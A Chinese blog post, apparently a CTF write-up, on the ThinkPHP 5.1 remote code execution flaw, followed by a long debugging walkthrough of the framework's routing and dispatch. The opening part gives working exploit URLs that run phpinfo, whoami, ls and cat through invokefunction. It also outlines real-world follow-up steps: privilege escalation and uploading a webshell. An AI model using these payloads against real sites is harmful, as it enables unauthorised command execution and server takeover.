thinkphp 5.1框架利用及rce分析

前言

上個學期鑽研web滲透的時候接觸過幾個tp的框架,但那時候還沒有寫blog的習慣,也沒有記錄下來,昨天在做ctf的時候正好碰到了一個tp的框架,想起來就復現一下

 

正文

進入網站,標準笑臉,老tp人了

 

 

 

 

直接先一發命令打出phpinfo(),因為是在打ctf有些地方我就沒有仔細去看

 

index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

 

 

在實戰中如果遇到tp的站,先看下disable_functions()

 

 

看下session,找一下log等等

 

 

滑到頁面的最下面看一下tp版本

 

 

這個版本是能夠利用system函數遠程命令執行,命令如下:

 

index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

 

 

不難看出網站確實存在並且能夠執行系統命令,實戰滲透方法很明確:

 

1、首先看下自己當前許可權是否是管理員許可權,如果是再好不過,不然後面還得想方法進行提權。

2、然後再上傳一句話木馬,菜刀鏈接,基本到這就差不多了。

但是有些時候會碰到各種問題,什麼waf,什麼上馬之後沒有數據返回等等等等,因為手邊沒有現成的tp的站,以後碰到了再具體進行分析吧

 

繼續ctf板塊:

用ls命令查看當前目錄下的文件

 

index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

 

 

好像在這個目錄下沒找到flag,繼續往上級目錄找,然而上級目錄還是沒有,但是發現了個robots.txt,爬蟲禁止的爬取東西應該就放在裡面

 

index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20../

 

 

最後一直往上了四個目錄才終於發現了flag

 

index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20../../../..

 

 

 

cat命令查看一下flag

 

index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20../../../../flag.txt

 

 

ctf板塊就暫時告一段落

 

這裡我本著尋根溯源的思想去百度了這個版本rce的漏洞原理,可能有些地方現在看得還不是很懂,先貼在這裡

 

框架流程淺析 

 

image.png

 

我們先看入口文件index.php,入口文件非常簡潔,只有三行程式碼。

可以看到這裡首先定義了一下命名空間,然後載入一些基礎文件後,就開始執行應用。

第二行引入base.php基礎文件,載入了Loader類,然後註冊了一些機制–如自動載入功能、錯誤異常的機制、日誌介面、註冊類庫別名。

 

image.png 

 

這些機制中比較重要的一個是自動載入功能,系統會調用 Loader::register()方法註冊自動載入,在這一步完成後,所有符合規範的類庫(包括Composer依賴載入的第三方類庫)都將自動載入。下面我詳細介紹下這個自動載入功能。

首先需要註冊自動載入功能,註冊主要由以下幾部分組成:

1. 註冊系統的自動載入方法 \think\Loader::autoload

2. 註冊系統命名空間定義

3. 載入類庫映射文件(如果存在)

4. 如果存在Composer安裝,則註冊Composer自動載入

5. 註冊extend擴展目錄

其中2.3.4.5是為自動載入時查找文件路徑的時候做準備,提前將一些規則(類庫映射、PSR-4、PSR-0)配置好。

然後再說下自動載入流程,看看程式是如何進行自動載入的?

 

image.png 

 

spl_autoload_register()是個自動載入函數,當我們實例化一個未定義的類時就會觸發此函數,然後再觸髮指定的方法,函數第一個參數就代表要觸發的方法。

可以看到這裡指定了think\Loader::autoload()這個方法。

 

image.png 

 

首先會判斷要實例化的$class類是否在之前註冊的類庫別名$classAlias中,如果在就返回,不在就進入findFile()方法查找文件,

 

image.png

 

這裡將用多種方式進行查找,以類庫映射、PSR-4自動載入檢測、PSR-0自動載入檢測的順序去查找(這些規則方式都是之前註冊自動載入時配置好的),最後會返回類文件的路徑,然後include包含,進而成功載入並定義該類。

這就是自動載入方法,按需自動載入類,不需要一一手動載入。在面向對象中這種方法經常使用,可以避免書寫過多的引用文件,同時也使整個系統更加靈活。

在載入完這些基礎功能之後,程式就會開始執行應用,它首先會通過調用Container類里的靜態方法get()去實例化app類,接著去調用app類中的run()方法。 

 

image.png

 

在run()方法中,包含了應用執行的整個流程。

1. $this->initialize(),首先會初始化一些應用。例如:載入配置文件、設置路徑環境變數和註冊應用命名空間等等。

2. this->hook->listen(‘app_init’); 監聽app_init應用初始化標籤位。Thinkphp中有很多標籤位置,也可以把這些標籤位置稱為鉤子,在每個鉤子處我們可以配置行為定義,通俗點講,就是你可以往鉤子里添加自己的業務邏輯,當程式執行到某些鉤子位置時將自動觸發你的業務邏輯。

3. 模組\入口綁定

 

image.png 

 

進行一些綁定操作,這個需要配置才會執行。默認情況下,這兩個判斷條件均為false。

4. $this->hook->listen(‘app_dispatch’);監聽app_dispatch應用調度標籤位。和2中的標籤位同理,所有標籤位作用都是一樣的,都是定義一些行為,只不過位置不同,定義的一些行為的作用也有所區別。

5. $dispatch = $this->routeCheck()->init(); 開始路由檢測,檢測的同時會對路由進行解析,利用array_shift函數一一獲取當前請求的相關資訊(模組、控制器、操作等)。

6. $this->request->dispatch($dispatch);記錄當前的調度資訊,保存到request對象中。

7.記錄路由和請求資訊

 

image.png

 

如果配置開啟了debug模式,會把當前的路由和請求資訊記錄到日誌中。

8. $this->hook->listen(‘app_begin’); 監聽app_begin(應用開始標籤位)。

9. 根據獲取的調度資訊執行路由調度

 

image.png

 

期間會調用Dispatch類中的exec()方法對獲取到的調度資訊進行路由調度並最終獲取到輸出數據$response。 

 

image.png

 

然後將$response返回,最後調用Response類中send()方法,發送數據到客戶端,將數據輸出到瀏覽器頁面上。

 

image.png

 

image.png

 

在應用的數據響應輸出之後,系統會進行日誌保存寫入操作,並最終結束程式運行。

 

image.png

 

漏洞預備知識

這部分主要講解與漏洞相關的知識點,有助於大家更好地理解漏洞形成原因。

 

1命名空間特性

 

ThinkPHP5.1遵循PSR-4自動載入規範,只需要給類庫正確定義所在的命名空間,並且命名空間的路徑與類庫文件的目錄一致,那麼就可以實現類的自動載入。

例如,\think\cache\driver\File類的定義為:

namespace think\cache\driver;

class File 

{

}

 

如果我們實例化該類的話,應該是:

 

$class = new \think\cache\driver\File();

 

系統會自動載入該類對應路徑的類文件,其所在的路徑是 thinkphp/library/think/cache/driver/File.php。

可是為什麼路徑是在thinkphp/library/think下呢?這就要涉及要另一個概念—根命名空間。

 

1.1 根命名空間

 

根命名空間是一個關鍵的概念,以上面的\think\cache\driver\File類為例,think就是一個根命名空間,其對應的初始命名空間目錄就是系統的類庫目錄(thinkphp/library/think),我們可以簡單的理解一個根命名空間對應了一個類庫包。

 

系統內置的幾個根命名空間(類庫包)如下:

 

image.png

 

1.2 URL訪問

 

在沒有定義路由的情況下典型的URL訪問規則(PATHINFO模式)是:

//serverName/index.php(或者其它應用入口文件)/模組/控制器/操作/[參數名/參數值…]

如果不支援PATHINFO的伺服器可以使用兼容模式訪問如下:

//serverName/index.php(或者其它應用入口文件)?s=/模組/控制器/操作/[參數名/參數值…] 

 

什麼是pathinfo模式?

我們都知道一般正常的訪問應該是:

//serverName/index.php?m=module&c=controller&a=action&var1=vaule1&var2=vaule2

而pathinfo模式是這樣的:

//serverName/index.php/module/controller/action/var1/vaule1/var2/value2

在php中有一個全局變數$_SERVER[‘PATH_INFO’],我們可以通過它來獲取index.php後面的內容。

什麼是$_SERVER[‘PATH_INFO’]?

官方是這樣定義它的:包含由客戶端提供的、跟在真實腳本名稱之後並且在查詢語句(query string)之前的路徑資訊。

什麼意思呢?簡單來講就是獲得訪問的文件和查詢?之間的內容。

 

image.png

 

強調一點,在通過$_SERVER[‘PATH_INFO’]獲取值時,系統會把’\’自動轉換為’/’(這個特性我在Mac Os(MAMP)、Windows(phpstudy)、Linux(php+apache)環境及php5.x、7.x中進行了測試,都會自動轉換,所以系統及版本之間應該不會有所差異)。

 

image.png 

 

下面再分別介紹下入口文件、模組、控制器、操作、參數名/參數值。

 

1. 入口文件

文件地址:public\index.php 

作用:負責處理請求

2. 模組(以前台為例)

模組地址:application\index 

作用:網站前台的相關部分 

3. 控制器

控制器目錄:application\index\controller 

作用:書寫業務邏輯 

4. 操作(方法)

在控制器中定義的方法

5. 參數名/參數值

方法中的參數及參數值

例如我們要訪問index模組下的Test.php控制器文件中的hello()方法。

 

image.png

 

那麼可以輸入<//serverName/index.php/index(模組)/Test(控制器)/hello(方法)/name(參數名)/world(參數值)

 

image.png

 

這樣就訪問到指定文件了。

另外再講一下Thinkphp的幾種傳參方式及差別。

PATHINFO: index.php/index/Test/hello/name/world 

只能以這種方式傳參。

兼容模式:

index.php?s=index/Test/hello/name/world

index.php?s=index/Test/hello&name=world

當我們有兩個變數$a、$b時,在兼容模式下還可以將兩者結合傳參:

 

index.php?s=index/Test/hello/a/1&b=2

 

image.png

 

這時,我們知道了URL訪問規則,當然也要了解下程式是怎樣對URL解析處理,最後將結果輸出到頁面上的。

 

1.3 URL路由解析動態調試分析

 

URL路由解析及頁面輸出工作可以分為5部分。

1. 路由定義:完成路由規則的定義和參數設置

2. 路由檢測:檢查當前的URL請求是否有匹配的路由

3. 路由解析:解析當前路由實際對應的操作。

4. 路由調度:執行路由解析的結果調度。

5. 響應輸出及應用結束:將路由調度的結果數據輸出至頁面並結束程式運行。

我們通過動態調試來分析,這樣能清楚明了的看到程式處理的整個流程,由於在Thinkphp中,配置不同其運行流程也會不同,所以我們採用默認配置來進行分析,並且由於在程式運行過程中會出現很多與之無關的流程,我也會將其略過。

 

1.3.1 路由定義

通過配置route目錄下的文件對路由進行定義,這裡我們採取默認的路由定義,就是不做任何路由映射。

 

1.3.2 路由檢測

這部分內容主要是對當前的URL請求進行路由匹配。在路由匹配前先會獲取URL中的pathinfo,然後再進行匹配,但如果沒有定義路由,則會把當前pathinfo當作默認路由。

首先我們設置好IDE環境,並在路由檢測功能處下斷點。

 

image.png

 

然後我們請求上面提到的Test.php文件。

//127.0.0.1/tp5.1.20/public/index.php/index/test/hello/name/world

我這裡是以pathinfo模式請求的,但是其實以不同的方式在請求時,程式處理過程是有稍稍不同的,主要是在獲取參數時不同。在後面的分析中,我會進行說明。

 

image.png

 

F7跟進routeCheck()方法。

 

image.png

 

route_check_cache路由快取默認是不開啟的。

 

image.png

 

然後我們進入path()方法。

 

image.png

 

繼續跟進pathinfo()方法。

 

image.png

 

這裡會根據不同的請求方式獲取當前URL的pathinfo資訊,因為我們的請求方式是pathinfo,所以會調用$this->server(‘PATH_INFO’)去獲取,獲取之後會使用ltrim()函數對$pathinfo進行處理去掉左側的』/』符號。Ps:如果以兼容模式請求,則會用$_GET方法獲取。

 

image.png

 

然後返回賦值給$path並將該值帶入check()方法對URL路由進行檢測。

 

image.png

 

這裡主要是對我們定義的路由規則進行匹配,但是我們是以默認配置來運行程式的,沒有定義路由規則,所以跳過中間對於路由檢測匹配的過程,直接來看默認路由解析過程,使用默認路由對其進行解析。

 

1.3.3 路由解析

 

接下來將會對路由地址進行了解析分割、驗證、格式處理及賦值進而獲取到相應的模組、控制器、操作名。

 

new UrlDispatch() 對UrlDispatch(實際上是think\route\dispatch\Url這個類)實例化,因為Url沒有構造函數,所以會直接跳到它的父類Dispatch的構造函數,把一些資訊傳遞(包括路由)給Url類對象,這麼做的目的是為了後面在調用Url類中方法時方便調用其值。

 

image.pngimage.png

 

賦值完成後回到routeCheck()方法,將實例化後的Url對象賦給$dispatch並return返回。

 

image.png

 

返回後會調用Url類中的init()方法,將$dispatch對象中的得到$this->dispatch(路由)傳入parseUrl()方法中,開始解析URL路由地址。

 

image.png

 

跟進parseUrl()方法。

 

image.png

 

這裡首先會進入parseUrlPath()方法,將路由進行解析分割。 

 

image.png

image.png

 

使用”/”進行分割,拿到 [模組/控制器/操作/參數/參數值]。

 

image.png

 

緊接著使用array_shift()函數挨個從$path數組中取值對模組、控制器、操作、參數/參數值進行賦值。

 

image.png

image.png

 

接著將參數/參數值保存在了Request類中的Route變數中,並進行路由封裝將賦值後的$module、$controller、$action存到route數組中,然後將$route返回賦值給$result變數。

 

image.png

 

new Module($this->request, $this->rule, $result),實例化Module類。

在Module類中也沒有構造方法,會直接調用Dispatch父類的構造方法。

 

image.png

 

然後將傳入的值都賦值給Module類對象本身$this。此時,封裝好的路由$result賦值給了$this->dispatch,這麼做的目的同樣是為了後面在調用Module類中方法時方便調用其值。 

實例化賦值後會調用Module類中的init()方法,對封裝後的路由(模組、控制器、操作)進行驗證及格式處理。

 

image.png

 

$result = $this->dispatch,首先將封裝好的路由$this->dispatch數組賦給$result,接著會從$result數組中獲取到了模組$module的值並對模組進行大小寫轉換和html標籤處理,接下來會對模組值進行檢測是否合規,若不合規,則會直接HttpException報錯並結束程式運行。檢測合格之後,會再從$result中獲取控制器、操作名並處理,同時會將處理後值再次賦值給$this(Module類對象)去替換之前的值。

Ps:從$result中獲取值時,程式採用了三元運算符進行判斷,如果相關值為空會一律採用默認的值index。這就是為什麼我們輸入//127.0.0.1/tp5.1.20/public/index.php在不指定模組、控制器、操作值時會跳到程式默認的index模組的index控制器的index操作中去。

此時調度資訊(模組、控制器、操作)都已經保存至Module類對象中,在之後的路由調度工作中會從中直接取出來用。

然後返回Module類對象$this,回到最開始的App類,賦值給$dispatch。

 

image.png

 

至此,路由解析工作結束,到此我們獲得了模組、控制器、操作,這些值將用於接下來的路由調度。

接下來在路由調度前,需要另外說明一些東西:路由解析完成後,如果debug配置為True,則會對路由和請求資訊進行記錄,這裡有個很重要的點param()方法, 該方法的作用是獲取變數參數。 

 

image.png

 

在這裡,在確定了請求方式(GET)後,會將請求的參數進行合併,分別從$_GET、$_POST(這裡為空)和Request類的route變數中進行獲取。然後存入Request類的param變數中,接著會對其進行過濾,但是由於沒有指定過濾器,所以這裡並不會進行過濾操作。

 

image.pngimage.pngimage.png

 

Ps:這裡解釋下為什麼要分別從$_GET中和Request類的route變數中進行獲取合併。上面我們說過傳參有三種方法。

1. index/Test/hello/name/world

2. index/Test/hello&name=world

3. index/Test/hello/a/1&b=2

當我們如果選擇1進行請求時,在之前的路由檢測和解析時,會將參數/參數值存入Request類中的route變數中。

 

image.png

而當我們如果選擇2進行請求時,程式會將&前面的值剔除,留下&後面的參數/參數值,保存到$_GET中。 

image.png

 

並且因為Thinkphp很靈活,我們還可以將這兩種方式結合利用,如第3個。

這就是上面所說的在請求方式不同時,程式在處理傳參時也會不同。

Ps:在debug未開啟時,參數並不會獲得,只是保存在route變數或$_GET[]中,不過沒關係,因為在後面路由調度時還會調用一次param()方法。

繼續調試,開始路由調度工作。

 

1.3.4 路由調度

這一部分將會對路由解析得到的結果(模組、控制器、操作)進行調度,得到數據結果。

 

image.png

 

這裡首先創建了一個閉包函數,並作為參數傳入了add方法()中。

 

image.png

 

將閉包函數註冊為中間件,然後存入了$this->queue[『route』]數組中。

然後會返回到App類, $response = $this->middleware->dispatch($this->request);執行middleware類中的dispatch()方法,開始調度中間件。

 

image.png

 

使用call_user_func()回調resolve()方法,

 

image.png

 

使用array_shift()函數將中間件(閉包函數)賦值給了$middleware,最後賦值給了$call變數。

 

image.png

 

當程式運行至call_user_func_array()函數繼續回調,這個$call參數是剛剛那個閉包函數,所以這時就會調用之前App類中的閉包函數。

中間件的作用官方介紹說主要是用於攔截或過濾應用的HTTP請求,並進行必要的業務處理。所以可以推測這裡是為了調用閉包函數中的run()方法,進行路由調度業務。

然後在閉包函數內調用了Dispatch類中的run()方法,開始執行路由調度。

 

image.png

 

跟進exec()方法。

 

image.png

 

可以看到,這裡對我們要訪問的控制器Test進行了實例化,我們來看下它的實例化過程。 

 

image.png

 

將控制器類名$name和控制層$layer傳入了parseModuleAndClass()方法,對模組和類名進行解析,獲取類的命名空間路徑。 

 

image.png

 

在這裡如果$name類中以反斜線\開始時就會直接將其作為類的命名空間路徑。此時$name是test,明顯不滿足,所以會進入到else中,從request封裝中獲取模組的值$module,然後程式將模組$module、控制器類名$name、控制層$layer再傳入parseClass()方法。

 

image.png

 

對$name進行了一些處理後賦值給$class,然後將$this->namespace、$module、$layer、$path、$class拼接在一起形成命名空間後返回。 

 

image.png

 

到這我們就得到了控制器Test的命名空間路徑,根據Thinkphp命名空間的特性,獲取到命名空間路徑就可以對其Test類進行載入。

F7繼續調試,返回到了剛剛的controller()方法,開始載入Test類。

 

image.png

 

載入前,會先使用class_exists()函數檢查Test類是否定義過,這時程式會調用自動載入功能去查找該類並載入。

 

image.png

 

載入後調用__get()方法內的make()方法去實例化Test類。

 

image.pngimage.pngimage.png

 

這裡使用反射調用的方法對Test類進行了實例化。先用ReflectionClass創建了Test反射類,然後 return $reflect->newInstanceArgs($args); 返回了Test類的實例化對象。期間順便判斷了類中是否定義了__make方法、獲取了構造函數中的綁定參數。

 

image.pngimage.png

 

然後將實例化對象賦值賦給$object變數,接著返回又賦給$instance變數。

繼續往下看。

這裡又創建了一個閉包函數作為中間件,過程和上面一樣,最後利用call_user_func_array()回調函數去調用了閉包函數。

 

image.png

 

在這個閉包函數內,主要做了4步。

1.使用了is_callable()函數對操作方法和實例對象作了驗證,驗證操作方法是否能用進行調用。

2.new ReflectionMethod()創建了Test的反射類$reflect。

3.緊接著由於url_param_type默認為0,所以會調用param()方法去請求變數,但是前面debug開啟時已經獲取到了並保存進了Request類對象中的param變數,所以此時只是從中將值取出來賦予$var變數。

4.調用invokeReflectMethod()方法,並將Test實例化對象$instance、反射類$reflect、請求參數$vars傳入。

 

image.pngimage.png

 

這裡調用了bindParams()方法對$var參數數組進行處理,獲取了Test反射類的綁定參數,獲取到後將$args傳入invokeArgs()方法,進行反射執行。

然後程式就成功運行到了我們訪問的文件(Test)。 

 

image.png

 

運行之後返回數據結果,到這裡路由調度的任務也就結束了,剩下的任務就是響應輸出了,將得到數據結果輸出到瀏覽器頁面上。

 

1.3.5 響應輸出及應用結束

這一小節會對之前得到的數據結果進行響應輸出並在輸出之後進行掃尾工作結束應用程式運行。在響應輸出之前首先會構建好響應對象,將相關輸出的內容存進Response對象,然後調用Response::send()方法將最終的應用返回的數據輸出到頁面。

繼續調試,來到autoResponse()方法,這個方法程式會來回調用兩次,第一次主要是為了創建響應對象,第二次是進行驗證。我們先來看第一次,

 

image.png

 

此時$data不是Response類的實例化對象,跳到了elseif分支中,調用Response類中的create()方法去獲取響應輸出的相關數據,構建Response對象。

 

image.png

 

執行new static($data, $code, $header, $options);實例化自身Response類,調用__construct()構造方法。

 

image.png

 

可以看到這裡將輸出內容、頁面的輸出類型、響應狀態碼等數據都傳遞給了Response類對象,然後返回,回到剛才autoResponse()方法中

 

image.png

 

到此確認了具體的輸出數據,其中包含了輸出的內容、類型、狀態碼等。

上面主要做的就是構建響應對象,將要輸出的數據全部封裝到Response對象中,用於接下來的響應輸出。

繼續調試,會返回到之前Dispatch類中的run()方法中去,並將$response實例對象賦給$data。 

 

image.png

 

緊接著會進行autoResponse()方法的第二次調用,同時將$data傳入,進行驗證。 

 

image.png

 

這回$data是Response類的實例化對象,所以將$data賦給了$response後返回。 

然後就開始調用Response類中send()方法,向瀏覽器頁面輸送數據。

 

image.png

 

這裡依次向瀏覽器發送了狀態碼、header頭資訊以及得到的內容結果。

 

image.png

 

輸出完畢後,跳到了appShutdown()方法,保存日誌並結束了整個程式運行。

 

1.4 流程總結

上面通過動態調試一步一步地對URL解析的過程進行了分析,現在我們來簡單總結下其過程:

首先發起請求->開始路由檢測->獲取pathinfo資訊->路由匹配->開始路由解析->獲得模組、控制器、操作方法調度資訊->開始路由調度->解析模組和類名->組建命名空間>查找並載入類->實例化控制器並調用操作方法->構建響應對象->響應輸出->日誌保存->程式運行結束

 

Tags: